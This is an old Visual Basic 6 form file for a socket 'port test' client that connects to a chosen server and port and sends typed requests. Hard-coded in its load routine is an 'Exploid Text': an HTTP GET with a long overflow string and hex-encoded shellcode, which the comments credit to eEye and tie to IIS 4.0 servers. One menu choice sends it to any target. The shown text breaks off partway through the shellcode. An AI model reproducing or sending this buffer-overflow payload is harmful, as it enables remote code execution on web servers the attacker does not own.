home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Visual Basic Source Code
/
Visual Basic Source Code.iso
/
vbsource
/
netpor1a
/
frm_main.frm
Wrap
Text File
|
1999-07-24
|
14KB
|
287 lines
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Frm_Main
Caption = "WS Port Test - http://www.tair.freeservers.com for much more ..."
ClientHeight = 3375
ClientLeft = 60
ClientTop = 345
ClientWidth = 7395
LinkTopic = "Form1"
ScaleHeight = 3375
ScaleWidth = 7395
StartUpPosition = 3 'Windows Default
Begin VB.ComboBox txt_Request
Height = 315
ItemData = "Frm_Main.frx":0000
Left = 1080
List = "Frm_Main.frx":0025
TabIndex = 13
Top = 480
Width = 6255
End
Begin MSWinsockLib.Winsock WS_Conn
Left = 240
Top = 1200
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.CommandButton Cmd_Close
Caption = "Close"
Height = 375
Left = 5880
TabIndex = 9
Top = 2640
Width = 1455
End
Begin VB.TextBox Txt_Response
Height = 1695
Left = 1080
Locked = -1 'True
MultiLine = -1 'True
ScrollBars = 3 'Both
TabIndex = 5
Top = 840
Width = 6255
End
Begin VB.TextBox Txt_Port
Height = 285
Left = 6480
TabIndex = 1
Top = 120
Width = 855
End
Begin VB.TextBox Txt_Server
Height = 285
Left = 1080
TabIndex = 0
Top = 120
Width = 4695
End
Begin VB.CommandButton Cmd_Send_CRLF_CRLF
Caption = "<CRLF>.<CRLF>"
Height = 375
Left = 4440
TabIndex = 12
Top = 2640
Width = 1455
End
Begin VB.CommandButton Cmd_Send_CRLF
Caption = "<CRLF>"
Height = 375
Left = 3000
TabIndex = 11
Top = 2640
Width = 1455
End
Begin VB.CommandButton Cmd_Send
Caption = "Send"
Height = 375
Left = 1560
TabIndex = 8
Top = 2640
Width = 1455
End
Begin VB.CommandButton Cmd_Connect
Caption = "Connect"
Height = 375
Left = 120
TabIndex = 7
Top = 2640
Width = 1455
End
Begin VB.Label Lbl_status
Caption = "Ready"
Height = 255
Left = 120
TabIndex = 10
Top = 3120
Width = 7095
End
Begin VB.Label Label4
Caption = "Response"
Height = 255
Left = 240
TabIndex = 6
Top = 840
Width = 855
End
Begin VB.Label Label3
Caption = "Request"
Height = 255
Left = 240
TabIndex = 4
Top = 480
Width = 735
End
Begin VB.Label Label2
Caption = "Port"
Height = 255
Left = 5880
TabIndex = 3
Top = 120
Width = 375
End
Begin VB.Label Label1
Caption = "Server"
Height = 255
Left = 240
TabIndex = 2
Top = 120
Width = 615
End
End
Attribute VB_Name = "Frm_Main"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'Try to connect to any server
'Exploit Text slightly changed ;) do not try it when find IIS 4.0 server
'(Exploid text is a busness of eEye.com)
Dim Exploid_Text1 As String
Dim Exploid_Text2 As String
Dim Exploid_Text3 As String
Private Sub Cmd_Close_Click()
WS_Conn.Close
Lbl_status.Caption = "Closing ..."
Lbl_status.Refresh
Txt_Response.Text = ""
Txt_Response.Refresh
End Sub
Private Sub Cmd_Connect_Click()
If WS_Conn.State = sckOpen Or Txt_Port.Text = "" Or Txt_Server.Text = "" Or Not (IsNumeric(Txt_Port.Text)) Then
Exit Sub
End If
WS_Conn.Connect Txt_Server.Text, CLng(Txt_Port.Text)
Lbl_status.Caption = "Connecting ..."
Lbl_status.Refresh
End Sub
Private Sub Cmd_Send_Click()
Dim outBuffer As String
If WS_Conn.State = sckClosed Then
Exit Sub
End If
Lbl_status.Caption = "Request ..."
Lbl_status.Refresh
If txt_Request = "Exploid Text" Then
outBuffer = Exploid_Text1 & Exploid_Text2 & Exploid_Text3
'MsgBox outBuffer
Else
outBuffer = txt_Request.Text
End If
WS_Conn.SendData outBuffer
End Sub
Private Sub Cmd_Send_CRLF_Click()
If WS_Conn.State = sckClosed Then
Exit Sub
End If
Dim outBuffer As String
outBuffer = Chr(13) & Chr(10)
WS_Conn.SendData outBuffer
End Sub
Private Sub Cmd_Send_CRLF_CRLF_Click()
If WS_Conn.State = sckClosed Then
Exit Sub
End If
Dim outBuffer As String
outBuffer = Chr(13) & Chr(10) & "." & Chr(13) & Chr(10)
WS_Conn.SendData outBuffer
End Sub
Private Sub Form_Load()
Exploid_Text1 = "GET /AAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&HB0) & Chr(&H87) & Chr(&H67) & Chr(&H68) & Chr(&HB0) & Chr(&H87) & _
Chr(&H67) & Chr(&H68) & Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&H58) & Chr(&H58) & Chr(&H90) & Chr(&H33) & Chr(&HC0) & Chr(&H50) & _
Chr(&H5B) & Chr(&H53) & Chr(&H59) & Chr(&H8B) & Chr(&HDE) & Chr(&H66) & Chr(&HB8) & Chr(&H21) & Chr(&H2) & Chr(&H3) & Chr(&HD8) & Chr(&H32) & _
Chr(&HC0) & Chr(&HD7) & Chr(&H2C) & Chr(&H21) & Chr(&H88) & Chr(&H3) & Chr(&H4B) & Chr(&H3C) & Chr(&HDE) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & _
Chr(&H43) & Chr(&HBA) & Chr(&HD0) & Chr(&H10) & Chr(&H67) & Chr(&H68) & Chr(&H52) & Chr(&H51) & Chr(&H53) & Chr(&HFF) & Chr(&H12) & Chr(&H8B) & _
Chr(&HF0) & Chr(&H8B) & Chr(&HF9) & Chr(&HFC) & Chr(&H59) & Chr(&HB1) & Chr(&H6) & Chr(&H90) & Chr(&H5A) & Chr(&H43) & Chr(&H32) & Chr(&HC0) & _
Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & Chr(&H52) & Chr(&H51) & _
Chr(&H53) & Chr(&H56) & Chr(&HB2) & Chr(&H54) & Chr(&HFF) & Chr(&H12) & Chr(&HAB) & Chr(&H59) & Chr(&H5A) & Chr(&HE2) & Chr(&HE6) & Chr(&H43) & _
Chr(&H32) & Chr(&HC0) & Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & _
Chr(&H52) & Chr(&H53) & Chr(&HFF) & Chr(&H12) & Chr(&H8B) & Chr(&HF0) & Chr(&H5A) & Chr(&H33) & Chr(&HC9) & Chr(&H50) & Chr(&H58) & Chr(&HB1) & _
Chr(&H5) & Chr(&H43) & Chr(&H32) & Chr(&HC0) & Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & _
Chr(&HF4) & Chr(&H43) & Chr(&H52) & Chr(&H51) & Chr(&H53) & Chr(&H56) & Chr(&